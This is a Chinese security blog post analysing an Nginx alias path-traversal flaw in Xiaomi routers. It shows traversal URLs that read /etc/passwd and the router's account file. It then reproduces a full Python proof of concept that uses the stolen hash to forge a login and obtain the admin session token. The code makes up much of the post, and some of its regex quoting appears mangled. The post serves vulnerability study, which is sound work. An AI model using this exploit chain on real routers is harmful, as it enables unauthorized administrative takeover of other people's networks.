小米路由器由于Nginx的配置文件,没有配置好,存在一个目录穿越的漏洞。
在Nginx当中存在该漏洞,配置如下:
location /xxx {
alias /abc/;
}
如此配置,攻击者可通过
Url:http://ip/xxx../etc/passwd
来读取到/etc/passwd 文件
而在小米路由器当中的Nginx配置危机为:
location /api-third-party/download/extdisks {
alias /extdisks/;
}
那可以通过
Url:http://ip/api-third-party/download/extdisks../etc/passwd
来读取到/etc/passwd文件
接下来我们在登陆页面能直接看到它把password加密的函数写在这里
在查看一下它登陆的时候要传的参数,有4个参数,通过不同PC的登陆抓包分析,发现会变的只有:password与nonce的值
在这里我们重点分一下它的加密原理,重点是看oldPwd与nonce
在nonceCreat当中deviceID是网页所绑定每个用户的地址
然后经过进一步的分析,这里可以参考学习一下文献资料:https://www.seebug.org/vuldb/ssvid-98122
然后就能很清楚的,我们利用python来写出脚本帮助我们快速解决:这里先学习一下大佬的poc
import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES
# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}
def get_mac():
## get mac
r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
mac = re.findall(r'deviceId = '(.*?)'', r0.text)[0]
# print(mac)
return mac
def get_account_str():
## read /etc/config/account
r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
print(r1.text)
account_str = re.findall(r'admin'? '(.*)'', r1.text)[0]
return account_str
def create_nonce(mac):
type_ = 0
deviceId = mac
time_ = int(time.time())
rand = random.randint(0,10000)
return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)
def calc_password(nonce, account_str):
m = hashlib.sha1()
m.update((nonce + account_str).encode('utf-8'))
return m.hexdigest()
mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login",
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)
竟然已经获得了stok值,那我们将考虑一下如何登陆进入后台,这里我们使用自己的小米路由器进行测试,发现他是这样的url地址
然后呢就在大佬的脚本上,我们顺便改一点点!然后就可以如下图
小编 | 小铠师傅
原文始发于微信公众号(璇铠安全实验室):漏洞分析 | 小米路由器的未授权访问
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论